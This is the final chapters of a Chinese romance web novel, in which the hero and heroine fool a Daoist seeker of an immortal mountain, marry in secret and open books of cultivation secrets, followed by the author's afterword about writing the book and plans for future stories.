“不，这怎么可能！”牧九明惊呼出声。
他不相信，也不能接受自己在这里忙了这么久，居然是完全错误的吗？
穆轩岚也装作很沮丧的样子，长叹一口气：“不如这样，我把千千叫来，你听听她怎么说的。”
糊弄人这方面，穆轩岚觉得还得是姜千秋——这个技术登峰造极的人来，才更能唬住他。
195. 兜转后终究如愿以偿
“秦老板，你这话真不真？别是诓我们两个玩的吧……”牧九明稍稍后仰，他实在不敢相信秦千千说的话。
穆轩岚找来秦千千，哄着她，让她讲一讲这两天她忙的事情——为了辟谣跑断腿。
“道长，你不能怀疑我的营生啊！”秦千千用手敲了敲桌上的钱袋子，“我既然收了你的钱，告诉你的情报自然是靠谱的！如非必要我不会出京，这次就是有人打着我主人的招牌行骗江湖，我才出京整顿这事儿的。”
她有些嗔怪地瞪了一眼牧九明，又捎带着看了穆轩岚一眼，“不信你问轩岚，收了钱我绝对不会说胡话的。”
穆轩岚当即点头，应和着她的话。脑海中却回忆起以往的事情，结果发现，她还真的没骗人。
初识后同行，她从未收过自己一文钱，向来都是钱财两清的。哪怕找自己借了两次钱，也都没等回京便还给他了……
至于当初见面后骗自己的姜千秋，她跟自己，的确没有钱财上的往来关系。
穆轩岚宠溺又无奈地摇头，她可真严谨，不愧是能成大事之人。
看来，下次自己找她谈心，得先准备几文钱才行。
牧九明不知道他想起什么，怎地还勾起了嘴角……算了，穆轩岚一面对秦千千，往常的靠谱形象都烟消云散了，自己也不再指望他了。
“秦老板，我自然是信你的，只不过此事事关重大，有没有可能是你收到的消息有误……”
嘿！眼前这人说不怀疑自己，结果又开始怀疑起整个芳草阁……秦千千实在是忍无可忍了。
“道长，我知道你是来这里找什么仙山的，你不用看轩岚，我们清风酒楼遍布天下的线人，探得这点消息还是手到擒来的。”
她眼神凌厉，甚至有些盛气凌人了。
穆轩岚也按照计划行事，表情有些惊讶，他只装作不知千千知情。牧九明更是哽住，不知道该说什么。
秦千千起身，在屋中边踱步边说道：“主人教诲我的时候，有一条最重要的事情，那就是反推。你也好，轩岚也罢，你们相信所谓仙山存在，并没有错。”
听她这么说，穆轩岚便知道，接下来一定是要敲打牧九明了。先扬后抑，是她喜欢用的话术。
果然，走到紧闭的窗边后，她骤然转身，相当恨铁不成钢地看着牧九明。
“可你们也该想想，若我主人真的是什么仙山之人，那她不早就成仙了？还留恋这尘世作甚……”她的目光，从低头沉思的牧九明身上，移向穆轩岚。
她很是奇怪，昨夜到今天，自己一直等穆轩岚问她这个问题——所谓的修仙秘籍到底存不存在，可穆轩岚对此却只字未提……
与她目光相对后，穆轩岚便知道她的心事，可眼下还要糊弄牧九明，那就只能迟些再跟她解释。
穆轩岚感觉今晚很是奇妙，现如今，自己跟姜千秋一唱一和，做戏给别人看，还能看她如何振振有词地忽悠别人，这种体验，很是新奇。
牧九明头越来越低，手也烦躁地不时抓挠着头发，秦千千给穆轩岚递了个眼神，让他把牧九明带走安抚一下。
毕竟，毕生的信念骤然崩塌，他怎么着也得消沉好一段时间的。
直至深夜，穆轩岚这才归来，周身夹杂的不仅有彻骨的寒气，还有一丝酒气。
屋中未留烛火，但月光皎洁，加上穆轩岚眼神极好，踏进屋中一瞬间，便看清了侧身单手支着头，看向自己的姜千秋。
她微微皱了皱鼻子。
穆轩岚便在往床榻边走的时候，脱去外衣。他想应该是酒气熏人，而他没喝酒，应该是外衣上沾染了些气味。
“你……”
“嘘！”
她刚开口，便被穆轩岚打断，于是姜千秋便不再说话，静静看着他。等他坐在床边，牵起自己搭在被子上的手后，他竟还不说话。
穆轩岚在她手心放了个凉凉的东西，姜千秋伸脖子往前一探，原来是一枚铜板。
“这是何意。”姜千秋不解，穆轩岚却笑出了声，“阁主不是收了钱便不会骗人吗？我要你诚实回答我的下一个问题。”
姜千秋恍然大悟，立马点头应允，并表示自己有问必答。
她想，穆轩岚或许要问，云岫山中是否有仙人的事？虽然不能明说，但她很是期待他问这个问题。
“此次回京后，我们能完婚吗？”问完这句话，他便虚虚拢住她的手，似乎像捧着什么绝世珍宝一样。
姜千秋瞬间便湿了眼眶，她们两个人，为了走到一起遭遇了太多……不过好在，终于要苦尽甘来了。
“当然。”她放弃恪守一生的原则，不再权衡什么利弊，直接把实情告诉了他，“若不是想与你坦荡诚挚地在一起，从风陵回来后，我便不会一而再再而三的婉拒你。”
她想与穆轩岚坦荡相爱，其中没有欺诈，没有谎言。
可以说，向穆轩岚坦诚身世，是她一辈子最大的赌注，好在穆轩岚没让自己输。
穆轩岚什么都没再说，他俯身笼在姜千秋上方，两人深情对视后，这才缓缓低头吻她。
而那枚铜板，也被十指相扣的两个掌心捂热，后来被扔到地上了。
第二日，穆轩岚带着所有人回京，当然包括失魂落魄的牧九明。
进京当天，他便又放了老友们的鸽子，不仅自己没去清风酒楼打招呼，还拐带走了她们的老板秦千千。
又这么过了三日，桑风雪，晏信还有王老怪一合计，觉得不是办法，便准备联系元德找千千。
结果当天下午，秦千千便哈欠连天地回来了。
面对叽叽喳喳关切她的话，她畅饮一口茶水后，才打起一些精神，不过那不是解释，而是通知了她们一件事情。
“各位，五月初七是个好日子，具体怎么好呢？是当朝皇帝娶妻的好日子，届时，请各位务必到场啊！”倦意难掩笑容，她满脸愉悦地说道。
四周的人可是炸了锅，更有甚者还
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上手使劲儿摇晃秦千千，让她本就因商议婚事而昏沉的头，更是胀痛。
“我就说嘛！早就该迎娶你了，怎么一拖再拖的！”
“是啊，是啊！我们都回来这些年了，我还以为千千是嫁不出去了呢。”
冬芸和云彩叽叽喳喳地讨论着。磨砺几年，桃花花自觉不似她们这般稚嫩，略显成熟地跟桑风雪商议。
“桑姐姐，你说我们两个，是不是该去叁余坊再做两件衣服，到时候好给千千撑撑场子呀！”
桃花花笑着晃千千肩膀，在收到秦千千一记眼刀后，这才停下了手中的动作。
桑风雪无奈地笑笑，亏桃花还时常觉得冬芸和云彩幼稚呢，她这是大哥不说二哥，比那两个也好不到哪儿去。
“衣服合宜便是，我觉得都好。就是千千的婚服，才要尽心打磨一下。”桑风雪一如既往的稳重，一旁的王老怪则是咂么着嘴，“按照老夫浅显的造诣，我觉得五月初七这日子没那么好啊。”
刚刚桃花花收到了一记眼刀，王老怪这话秦千千直接开口反驳了。
“这可是按照三道七运、奇门遁甲、五行八卦……总之是一切你知道，你不知道的占卜方法全用上了，才选出的绝好日子，你不懂就别乱说！”她面色不悦地瞪了王老怪一眼。
她这几日，白天要跟穆轩岚紧锣密鼓地商议婚事事宜，晚上还要抽空夜观星象，当初学这个便花了好久，多年不用，她为此还又找了几本书温习了一下……
自己辛辛苦苦选出来的日子，容不得王老怪这么诋毁。
一旁跟着高兴，但尚存一丝理智的晏信有些讶异地追问：“哎？千千，你会这么多东西吗？”
秦千千愣了一下，立马苦笑着摆手：“怎么会！是我主人帮我选的日子，这些她都懂。”
她心中在悄悄埋怨穆轩岚。
跟他在一起的日子，自己仍旧扮演着秦千千，可他偏偏趁下无人时喊她阁主逗她。一来二去，还真给她听习惯了……
现在又险些露馅，姜千秋只能说，跟他共处几日后，自己的警惕心变差了很多啊……
晏信现如今心胸宽阔如海，也接受了自己与她有缘无分的事实，现如今听到她的婚期将近，他也愿意笑着祝福。
“嗯，也是时候了，筹备婚事有什么需要帮助的，尽管找我。虽然现在为时尚早，但我还是要祝你们白头偕老。”他端起自己刚斟的酒，朝她敬了一下后，就要一饮而尽。
秦千千速度极快地拉住他的胳膊，另一只手慢条斯理地也给自己倒了一杯。
跟他酒杯相碰后，秦千千这才松开拉他的手。
这个是她和自己喝的第一杯酒，晏信记得清楚。而她一饮而尽后的笑容，也让晏信铭记心底。
“也祝你鹏程万里，日后扶摇直上。”这不是她的祝福，而是姜千秋的预言，也就是，一定会实现的事情。
今夜，也一如她猜测的那般，还是等到了深夜翻窗而来的穆轩岚。
196. 春宵一刻值万金
“这岂不是说，大婚那天，当着她们的面，我还要叫你千千？”穆轩岚揽着怀里的人，有些遗憾地说道。
姜千秋叹了一口气，那几人虽然也都是她知根知底的人，但她的身世，牵扯了太多，她实在不能拿此事开玩笑。
可穆轩岚说的这个问题，也是她心中的一个坎，不过，也不是没有解决的办法……
“那不如，到时我们便走。”姜千秋如是说到。
这场婚事，最重要的便是她和穆轩岚两个人，其他的，什么都不重要了。
就这样，五月初五凌晨，两个人黑衣夜行，头也不回地出了京。
穆轩岚抛下了他的国家，姜千秋忘却了她打下的江山，最起码这两日，她们两人在世间再无累赘，也将化身为一对新婚燕尔的夫妇。
再度回到嘉松别苑，姜千秋心中满是感慨，当初自己在这里的日子快乐却也痛苦，好在，一切都过去了。
“千秋，当初你的眼睛是真的看不见了吗？”穆轩岚牵着她的手，带她往院里走。
他早早吩咐了别苑中的侍卫丫鬟，一个都不准留在这里，现在整个别苑中，只有她们两个人。他也不再顾忌，直接叫她的真名。
姜千秋脸上泛起一丝笑意，这几日两个人时常谈起过去的事情，只要穆轩岚问，她便一一作答。
“是，我有千百种糊弄别人的方法，没必要选伤害自己的那一种。而且你可以回想一下，除了情况无解，其他时候，我都是不会伤害自己的。”
穆轩岚想起，自己认识她没多久，便刺向她的那一剑……心中突然觉得愧疚不已。
刚好他的手，搭在她曾受伤的肩头，穆轩岚收着力气，轻轻揉捏着那片地方。看他眼中满是懊悔，姜千秋却满脸狡黠地笑了。
“无妨，习武之人本就会受伤。再说，你真以为我的眼疾是自己好的？”
穆轩岚推开屋门，拥着她往屋中走，“怪不得！后来我会想起当年的事情，就觉得你病好的时机，简直是千载难逢！”
经过这些年的补救，穆轩岚和姜千秋谁也不避讳，谈起当年的事情了。
曾经穆轩岚认为，自己永远不会有这么一天……
察觉到他眼神中的恍惚，姜千秋直接双手环上他的腰，不由分说地晃了他两下。
“比起翻过去的旧账，我们是不是应该为了明日大婚，先庆祝一下，来个一醉方休？”她迫不及待地提议。
穆轩岚当即点头，自从不再担心暴露身份后，她在自己面前也才彻底舒展，彻彻底底做回自己。
也就是那以后，他才发觉，变身成秦千千，最让她犯难的事情，便是不能饮酒。而姜千秋本人，真是嗜酒如命，而且挑嘴的很。
当初千千告诉自己，清风酒原本是姜千秋酿造给自己喝的，穆轩岚当时还不信，现在他不得不信了。
决定要在大婚前逃离京都后，穆轩岚办的第一件事情，便是陪她去清风酒楼的酒窖中选酒。
都说行军打仗是兵马未动，粮草先行，姜千秋对此深以为然。
两人亲自选好几坛酒，其中还包括姜千秋后来酿的明月醉，先暗中差人送来嘉松别苑。
仆人丫鬟都不在，两个人便一同去取酒。
“你知道我为何要酿明月醉吗？”姜千秋看着弯腰拿酒的穆轩岚，言笑晏晏地说道。
穆轩岚思索片刻，“因为你不能喝醉，但又想解酒瘾？”这是他能想到，最合理的猜测了。
喝多少都不会醉，的确很适合当时滴酒不沾的秦千千。
姜千秋伸手接过两坛酒，却摇了摇头，“我饮酒，只求一个一醉方休，这酒其实是为了你酿的。”
当初她为了酿造清风酒，专程回云岫山一个多月，博览古书，终于找到了甘甜醇香的酿酒法子，每个环节的产地也都是很有讲究的。
“算下来，从动了那念头，到酿上第一坛酒，我花了近九个月，”姜千秋与穆轩岚一人抱了两坛酒，穿过连廊去后院的松树下，“可这明月醉，花了我一年时间。”
穆轩岚突然察觉到异样，自己与秦千千认识，到她去茅安镇酿造明月醉，怎么也不到一年啊？满打满算，也才不到三个月而已。
若是从酿造明月醉，往前倒一年的话，那时的自己……
正在筹划利用秦千千的计划！
他停下脚步，怔在原地。对上他不可思议的目光，姜千秋也是颇为感慨地叹了口气。
“知晓你的计划后，我便想好了有死遁的那一天，这明月醉，便是为了不让你伤心过度，影响军国大事所做。”
穆轩岚失笑，“难为你还如此关心政事。”
他想，在一切都未发生之事，原来两个人的纠葛就开始了……而后续这个发展，肯定是她这个运筹帷幄之人想不到的。
百般波折下，还是让自己跟她走在了一起。
“其实不是关心政事，我是关心我的名声。”看他不解的眼神，姜千秋继续解释道：“我们守山派，要记录当朝当代的事情，若是因我的计谋害南梁朝亡国，那我也得原封不动地写上去，送去石室金匮封缄。”
这是她第一次跟穆轩岚谈及此事，在此之前，穆轩岚大概知道她们的任务，类似史官。但他万万没想到，姜千秋竟然也要动手记录吗？
“我以为你只管宗族大事，这些事情有专人记录的。”
两人行至石桌边，穆轩岚先一步放下酒坛，转身接过她手中的一坛酒，两人这才落座。
“寻常事情，是有专人记。我写的是历代族长生平，这个要族长亲自动手撰写，记录自已一生中的大事。”她故意停顿一下，跟他对视后，才接着缓缓开口，“你总说我们曾经的经历模糊，甚至记不得了，那不妨让我带你回忆一下往昔？”
穆轩岚惊讶到瞪眼张嘴，他用力眨了两下眼，才确认这不是自己的幻觉。
听到她亲自撰写生平时，他就在心中想，那本书一定很引人入胜，内容肯定也很波澜壮阔；可当听完后半句，他只惊讶，这种东西还能拿出来给自己看的吗？
“这难道不是什么绝密，能随便给别人看吗？”他想看，但更不想让姜千秋因此陷入麻烦。
穆轩岚从她寻常的话中推测，长老会的人纨绔不堪，虽说她是挽救整族于将倾的族长，但平日还是少不了被那些长老劝诫。
他身为九五至尊，推己及人思考一下，便知道她这么做，可能会带来很多麻烦。就像自己任意妄为后，就会收到几十个大臣参他的本子……
不致命，但让人心烦意乱。
姜千秋掀开酒坛上绑缚的红布，闻了一口香醇的清风酒，她忍不住喟叹一声，还得是清风酒！
“当然是绝密，只不过你不是别人，你可是我的心上人！只要你想，就没什么不能看的。”
她说的诚挚，听得穆轩岚还未饮酒便有些醉了。
准确来说，是飘飘然了。
经过这段时间的相处，穆轩岚也发现，姜千秋十分坦诚，或许再加上想要弥补自己的心思，在表达感情时，更是单刀直入的很。
穆轩岚对此甚是喜欢，过去藏着掖着，瞒着骗着，让他疲累不堪；现如今，她这种毫不掩饰的偏爱，让他满意极了。
“好，那我要用下半辈子慢慢看了。”他低头拿起酒坛，正笑的开心，想与她碰杯时，却发现姜千秋眼神若有所思地躲了一下。
只一瞬间，但他却看的真切。
“看来你还是喜欢清风酒啊，后天大婚，还要喝清风酒吗？”他不着痕迹地岔开话题。
事到如今，他什么都不在乎了，只要她在自己身边，那他便不再纠结一切。
那闪躲的眼神，他权当没看见。
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她神色很快恢复正常，又满目爱意地看着他，仿佛刚刚那一瞬间的闪躲，根本不存在一样。
“都说春宵一刻值千金，那时不喝酒没意思，但喝得酩酊大醉也不好，所以明日肯定得饮不会醉人的明月醉了。”
两人直到朝阳初升时才回房，她爱饮酒，但却不胜酒力，最后还是穆轩岚抱着她回去的。
第二日过午，她才悠悠转醒。吃饱喝足后，便与穆轩岚一同在山上闲逛。两个人其实是给侍卫丫鬟们腾时间，让她们在别苑中张灯结彩。
五月初七，春和景明，微风和煦。
两人起了个大早，穆轩岚精神抖擞，姜千秋却哈欠连天。他只装作不知道，昨夜她翻来覆去，不知道为什么愁了半夜……
越近婚期，她的状态就越不对。
从那晚闪避的眼神开始，穆轩岚本想装作什么都不知道的，可是她越来越不对，他实在忍不了，便在为她穿衣、两人面对面时，问她到底怎么了。
由于支走了所有人，在这张灯结彩的别苑中，两个人做什么便只能亲力亲为。
而昨夜姜千秋跟穆轩岚商议好了，两个人一早起来，便互相为对方穿婚服——叁余坊加急赶制出来的，面料工艺奢华至极，最重要的是，款式还是姜千秋亲手画的。穆轩岚是怎么看，怎么满意。
姜千秋先给他穿好衣服，这才站在衣架前，心不在焉地享受着“帝王服务”。
她这几日一直在思考一个事情，在考虑究竟何时告诉穆轩岚……胡思乱想之际，她想起了一个与此事有关的心头大患。
“千秋，你……”
“轩岚，牧九明现在情况稳定了一些吧？”
两人同时开口，穆轩岚却让着她，停下听她说。
不过给她系腰带的手可是没停，在她身后系好腰带后，他直接收紧双手，把人拥进怀中。
“我们新婚燕尔，除了我，你谁都不许想。”
若是寻常，他决计说不出这样的话，可能是最近被姜千秋耳濡目染，学会了直白表达自己的想法，他这才坦荡地说出心中的话。
姜千秋立马服软，跟他承认错误，并在心中下定了决心，说，今晚就说！
原本，拜堂成亲是穆轩岚最期待的事情，而他也想依照惯例，在晚上拜堂。可姜千秋却提醒他，拜完堂后，她可以带着自己去云岫山，看她撰写的书，然后两人可以在云岫山中过夜。
于是，他最期待的事情，便成了与她一同回忆往事。
姜千秋也很重视这件事儿，不醉人的明月醉，她今天都没喝两口。拜完堂后，两个人火速更衣，赶往附近云岫山的入口。
石室金匮不许旁人进去，这点姜千秋也无能为力，她只能把穆轩岚安顿到自己的居所，自己去密室中拿书。
穆轩岚打量着她一塌一案的简约房屋时，心中不由得感慨，若是她真守在这里一辈子，得错过多少的波澜壮阔啊！
姜千秋去而复返的很快，不过与穆轩岚想的不同，她手中拿着十几本书。
“你的见闻这么多！”他十分讶异，姜千秋却一手托着书，一手关上房门，压低声音跟他解释：“只有一本是我的，剩下的，是我这两天思来想去，想告诉你的事情。”
穆轩岚从未见过她如此小心翼翼的样子，便立马过来迎她，接过那些书，她才满脸笑意地看着他。
“春宵一刻不是值千金，这可是万金。”
她拍了拍那些书，穆轩岚这才看到那些书的名字——修道秘笈！
穆轩岚险些没站稳，在姜千秋的搀扶下稳住身形后，他这才明白，千秋早上为何问牧九明，此事的确跟牧九明有关。
“这种东西真的存在吗？”他不可思议地问道，只见姜千秋也无奈地耸耸肩膀，“不好说，所以，今晚咱俩好好钻研一下这些书吧。”
——全书完
197. 作者后话（严重剧透！！！）^^……
以前看书，发现名人讲自己的某段经历，都会把当时的情况讲得清清楚楚的，我每次看到都觉得太假了，人经历的事情那么多，怎么可能记那么清楚呢？
后来，这本书越来越接近完结，我才刷到一片帖子，说的是全文完结后，她写作者后话有很多感悟。
那时我才知道，喔，我也可以写个后话。
可能就是从那个念头开始，我才发现，对于某段特殊的经历，记忆真的会格外清晰。
这篇文最初的灵感起因，是一个纪录片里的讲述的情况——考古发现的东西，特别是古籍记载什么的，残卷都是一知半解。
我很喜欢学历史，对这种记载不全的事情，听听就觉得很遗憾。或许很多人、很多有趣的事情都被埋没在历史长河中了……
这就是女主诞生的背景，我想出现一个宗派，她们完整保管着古往今来的所有历史，守护历史的完整性，就是她们最高的任务。
姜是上古八大姓，千秋，就是千秋万代的意思。她的小号，也就是秦千千，是女主姜千秋名字的变种，她就是要起一个平凡入尘埃中的名字，才能在世间苟住。
回看本文，便会发现，女主后期很多时候会拧巴。可能各位第一次看不知道为什么，可我写的时候清清楚楚，女主身份一天不揭露，她就一天都不能跟男主坦然在一起。
为了防止我写着忘着人设，我专门手写了好多情节资料，每个人物的过往经历，以及可能让她们产生情感变化，或者行为变化的东西，我全都写下来，写到谁跟谁互动，我就会翻出来看那几个人的人物纸。
不知道别人写小说是怎么样的，反正我觉得这方法挺好使的，不然文写长了，真的会忘记前面的设定。
能保持日更到完结，说实话，我自己也没想到。
开文的时候，我还没签约，现生中刚好辞了工作，就想着先写着。后来签上约，工作依然在空档期，我就给自己发誓，我要把这文日更到完结。
最初我还想把这文写一百万字呢，不过那是没开写前的畅享，当初还想让她们在江湖斗完，再去朝堂斗，或者穿插这进行。现在的完本跟当初的畅享相比，的确是少了朝堂部分。
理想和现实总是有差距的，而且最为关键的因素是，我找到了工作，白日没空摸鱼，再保持小说创作，可以说是占尽了我的全部精力。
但我已经很满意了，这篇文是我认认真真写完的第一篇文哎！真的是可喜可贺！
虽然这书的成绩不是很好，从发文到申榜，算是把能踩的雷全踩一遍了，不过我还是很高兴，再怎么着，也是我自己种下的第一棵树！
写自白的这一天，应该还没有人从头到尾看完我的文，那就当是我的碎碎念，感觉这会是我以后写小说的基调。
我很喜欢的一种氛围，就是——
她看向目标时，他投在她身上的目光。
不知道有没有人能懂，其实就是男主或多或少在仰望女主，也就是女主有自己打拼的事业，有自己为之坚持的事情，或者说有另类的性格，反正，她有自己人格的闪光点。
闪光点吸引男主，让他移不开眼睛，沉醉其中的，我可太好这一口了。
接下来的创作，应该都逃不开这一口。
比如下一本要写的女主，她搞事业前稍微放纵一下，睡了男主，然后专心搞事业去了，结果男主就是她搞事业途中的拦路
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虎，以此为契机发生的故事；
还有已经开坑的另一个脑洞，女主慢慢成长成国师，中途跟男主互掐互怼的故事；
还有正在酝酿着的脑洞：
一个是怪力乱神、古灵精怪的女主，阴阳巧合之下，跟恪守条规、在教条中长大的男主搭伙，去外太空出任务，性格完全相反的两个人，在完成任务的过程中，相识相知的故事；
另一个是玄幻背景的，大概是女主是魔头，从天地初开就存在的那种很厉害的存在，男主是正神，两者想方设法从天上斗到地下的那种；
总而言之，我文中的女主和男主，都得有正经事儿要干，故事全都是围绕着这些主角们的正事儿展开。
后两个没敢开坑，只写在这里，是怕开坑多，吓到我自己哈哈哈，也算是在这里梳理一下现在的脑洞。
第一本坚持下来，纯粹是履行跟自己的承诺（一个不服输的犟种如是说）。反正慢慢来吧，我喜欢写小说，喜欢创作各种各样的故事，接下来应该会一本一本写下去的。
是不是该立个flag？等我飞升五星作者的那天，给大家讲，真实发生在我身上的故事哈哈哈
其实开始写小说是朋友建议的，她们听了我的故事，都建议我去写本书出来，毕竟他和他和他的故事，实在太戏剧了……现在想想，我喜欢男主悄悄钦佩女主，应该跟我的经历有关。
但涉及真人，我还真不敢写，便想着写一些我觉得好玩的故事。不过我要是哪天真成了五星作者，在钱的加持下，我应该会大方写的（确信。
碎碎念太多，祝大家诸事顺利，万事如意呀！
也要祝我今天新到的茉莉花，长生不死！